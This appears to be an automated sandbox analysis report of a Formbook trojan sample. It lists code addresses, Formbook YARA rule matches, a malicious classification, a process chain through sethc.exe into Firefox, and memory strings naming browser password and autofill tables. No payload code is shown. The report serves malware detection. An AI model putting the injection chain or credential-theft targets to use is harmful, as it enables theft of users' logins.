Windows Analysis Report
rpedido-002297.exe

Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_00404D90	0_2_00404D90
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 0_2_00406ABA	0_2_00406ABA
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD2EC	1_2_324DD2EC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FE310	1_2_324FE310
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AF330	1_2_325AF330
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E1380	1_2_324E1380
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259E076	1_2_3259E076
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FB0D0	1_2_324FB0D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A70F1	1_2_325A70F1
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3252508C	1_2_3252508C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E00A0	1_2_324E00A0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3253717A	1_2_3253717A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B010E	1_2_325B010E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF113	1_2_324DF113
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258D130	1_2_3258D130
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F51C0	1_2_324F51C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B1E0	1_2_3250B1E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259D646	1_2_3259D646
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32514670	1_2_32514670
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250C600	1_2_3250C600
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258D62C	1_2_3258D62C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AA6C0	1_2_325AA6C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AF6F6	1_2_325AF6F6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EC6E0	1_2_324EC6E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325636EC	1_2_325636EC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A6757	1_2_325A6757
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F2760	1_2_324F2760
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FA760	1_2_324FA760
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E170C	1_2_324E170C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255D480	1_2_3255D480
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BA526	1_2_325BA526
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AF5C9	1_2_325AF5C9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A75C6	1_2_325A75C6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AEA5B	1_2_325AEA5B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325ACA13	1_2_325ACA13
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AFA89	1_2_325AFA89
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250FAA0	1_2_3250FAA0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3252DB19	1_2_3252DB19
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0B10	1_2_324F0B10
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AFB2E	1_2_325AFB2E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32564BC0	1_2_32564BC0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250B870	1_2_3250B870
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D6868	1_2_324D6868
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32565870	1_2_32565870
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AF872	1_2_325AF872
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F9870	1_2_324F9870
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E810	1_2_3251E810
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F3800	1_2_324F3800
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32590835	1_2_32590835
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A18DA	1_2_325A18DA
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A78F3	1_2_325A78F3
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32506882	1_2_32506882
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325698B2	1_2_325698B2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325359C0	1_2_325359C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EE9A0	1_2_324EE9A0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AE9A6	1_2_325AE9A6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32510E50	1_2_32510E50
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32532E48	1_2_32532E48
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32590E6D	1_2_32590E6D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A9ED2	1_2_325A9ED2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E2EE8	1_2_324E2EE8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A0EAD	1_2_325A0EAD
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F1EB2	1_2_324F1EB2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AFF63	1_2_325AFF63
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FCF00	1_2_324FCF00
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A1FC6	1_2_325A1FC6
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F6FE0	1_2_324F6FE0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AEFBF	1_2_325AEFBF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259EC4C	1_2_3259EC4C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F3C60	1_2_324F3C60
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A6C69	1_2_325A6C69
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AEC60	1_2_325AEC60
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E0C12	1_2_324E0C12
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FAC20	1_2_324FAC20
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32508CDF	1_2_32508CDF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250FCE0	1_2_3250FCE0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BACEB	1_2_325BACEB
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32577CE8	1_2_32577CE8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32589C98	1_2_32589C98
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A7D4C	1_2_325A7D4C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0D69	1_2_324F0D69
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EAD00	1_2_324EAD00
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AFD27	1_2_325AFD27
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F9DD0	1_2_324F9DD0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258FDF4	1_2_3258FDF4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502DB0	1_2_32502DB0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D0D480	3_2_04D0D480
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA0445	3_2_04CA0445
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D575C6	3_2_04D575C6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5F5C9	3_2_04D5F5C9
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D6A526	3_2_04D6A526
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5A6C0	3_2_04D5A6C0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5F6F6	3_2_04D5F6F6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C9C6E0	3_2_04C9C6E0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D136EC	3_2_04D136EC
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA0680	3_2_04CA0680
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D4D646	3_2_04D4D646
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CC4670	3_2_04CC4670
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CBC600	3_2_04CBC600
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D3D62C	3_2_04D3D62C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D56757	3_2_04D56757
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA2760	3_2_04CA2760
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CAA760	3_2_04CAA760
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C9170C	3_2_04C9170C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CAB0D0	3_2_04CAB0D0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D570F1	3_2_04D570F1
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CD508C	3_2_04CD508C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C900A0	3_2_04C900A0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D4E076	3_2_04D4E076
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA51C0	3_2_04CA51C0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CBB1E0	3_2_04CBB1E0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CE717A	3_2_04CE717A
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D6010E	3_2_04D6010E
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C8F113	3_2_04C8F113
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D3D130	3_2_04D3D130
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C8D2EC	3_2_04C8D2EC
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C91380	3_2_04C91380
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CAE310	3_2_04CAE310
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5F330	3_2_04D5F330
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CB8CDF	3_2_04CB8CDF
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CBFCE0	3_2_04CBFCE0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D27CE8	3_2_04D27CE8
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D6ACEB	3_2_04D6ACEB
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D39C98	3_2_04D39C98
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D4EC4C	3_2_04D4EC4C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA3C60	3_2_04CA3C60
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5EC60	3_2_04D5EC60
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D56C69	3_2_04D56C69
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C90C12	3_2_04C90C12
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CAAC20	3_2_04CAAC20
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA9DD0	3_2_04CA9DD0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D3FDF4	3_2_04D3FDF4
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CB2DB0	3_2_04CB2DB0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D57D4C	3_2_04D57D4C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA0D69	3_2_04CA0D69
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C9AD00	3_2_04C9AD00
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5FD27	3_2_04D5FD27
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D59ED2	3_2_04D59ED2
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C92EE8	3_2_04C92EE8
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA1EB2	3_2_04CA1EB2
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D50EAD	3_2_04D50EAD
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CE2E48	3_2_04CE2E48
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CC0E50	3_2_04CC0E50
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D40E6D	3_2_04D40E6D
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D51FC6	3_2_04D51FC6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA6FE0	3_2_04CA6FE0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5EFBF	3_2_04D5EFBF
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5FF63	3_2_04D5FF63
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CACF00	3_2_04CACF00
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D518DA	3_2_04D518DA
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D578F3	3_2_04D578F3
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CB6882	3_2_04CB6882
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D198B2	3_2_04D198B2
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C86868	3_2_04C86868
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D15870	3_2_04D15870
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5F872	3_2_04D5F872
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA9870	3_2_04CA9870
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA3800	3_2_04CA3800
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CCE810	3_2_04CCE810
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D40835	3_2_04D40835
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CE59C0	3_2_04CE59C0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04C9E9A0	3_2_04C9E9A0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5E9A6	3_2_04D5E9A6
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5FA89	3_2_04D5FA89
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CBFAA0	3_2_04CBFAA0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5EA5B	3_2_04D5EA5B
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5CA13	3_2_04D5CA13
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D14BC0	3_2_04D14BC0
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CDDB19	3_2_04CDDB19
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04CA0B10	3_2_04CA0B10
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04D5FB2E	3_2_04D5FB2E
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBF01D	3_2_04FBF01D
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBE463	3_2_04FBE463
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBE465	3_2_04FBE465
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBE7FD	3_2_04FBE7FD
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBD868	3_2_04FBD868
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBE97C	3_2_04FBE97C
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBE348	3_2_04FBE348
Source: C:\Windows\SysWOW64\sethc.exe	Code function: 3_2_04FBCB08	3_2_04FBCB08

Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: String function: 324DB910 appears 268 times
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: String function: 32537BE4 appears 96 times
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: String function: 3255E692 appears 86 times
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: String function: 3256EF10 appears 104 times
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: String function: 32525050 appears 35 times
Source: C:\Windows\SysWOW64\sethc.exe	Code function: String function: 04D0E692 appears 84 times
Source: C:\Windows\SysWOW64\sethc.exe	Code function: String function: 04CE7BE4 appears 95 times
Source: C:\Windows\SysWOW64\sethc.exe	Code function: String function: 04D1EF10 appears 105 times
Source: C:\Windows\SysWOW64\sethc.exe	Code function: String function: 04C8B910 appears 268 times
Source: C:\Windows\SysWOW64\sethc.exe	Code function: String function: 04CD5050 appears 35 times

Source: rpedido-002297.exe

Static PE information: invalid certificate

Source: rpedido-002297.exe, 00000000.00000000.11142649469.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000002.11739011887.0000000032780000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000003.11634696456.000000003227E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000003.11694542608.0000000002206000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesethc.exej% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000003.11694914267.00000000321F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesethc.exej% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000003.11638205467.0000000032432000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000002.11739011887.00000000325DD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs rpedido-002297.exe
Source: rpedido-002297.exe, 00000001.00000000.11332994261.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs rpedido-002297.exe
Source: rpedido-002297.exe	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs rpedido-002297.exe

Source: rpedido-002297.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000004.00000002.16210012048.00000000012C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.11738899156.00000000322E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.15398598450.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.15398680502.0000000004AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.11739770238.0000000033C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.16210520665.0000000003AC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/9@19/16

Source: C:\Users\user\Desktop\rpedido-002297.exe

0_2_00403489

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 0_2_00404814 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404814

Source: C:\Users\user\Desktop\rpedido-002297.exe

Code function: 0_2_004020FE LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_004020FE

Source: C:\Users\user\Desktop\rpedido-002297.exe

File created: C:\Users\user\AppData\Local\Temp\nss65E.tmp

Source: rpedido-002297.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rpedido-002297.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\rpedido-002297.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: sethc.exe, 00000003.00000002.15401206661.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: sethc.exe, 00000003.00000003.11918675209.0000000002F69000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15397358702.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000003.11919009178.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: sethc.exe, 00000003.00000003.11927048335.0000000007D48000.00000004.00000020.00020000.00000000.sdmp, sethc.exe, 00000003.00000002.15401206661.0000000007D54000.00000004.00000020.00020000.00000000.sdmp, 7831-51J.3.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: rpedido-002297.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\rpedido-002297.exe

File read: C:\Users\user\Desktop\rpedido-002297.exe

Source: unknown	Process created: C:\Users\user\Desktop\rpedido-002297.exe "C:\Users\user\Desktop\rpedido-002297.exe"
Source: C:\Users\user\Desktop\rpedido-002297.exe	Process created: C:\Users\user\Desktop\rpedido-002297.exe "C:\Users\user\Desktop\rpedido-002297.exe"
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Process created: C:\Windows\SysWOW64\sethc.exe "C:\Windows\SysWOW64\sethc.exe"
Source: C:\Windows\SysWOW64\sethc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\rpedido-002297.exe	Process created: C:\Users\user\Desktop\rpedido-002297.exe "C:\Users\user\Desktop\rpedido-002297.exe"	Jump to behavior
Source: C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe	Process created: C:\Windows\SysWOW64\sethc.exe "C:\Windows\SysWOW64\sethc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sethc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rpedido-002297.exe	Section loaded: windows.storage.dll	Jump to behavior
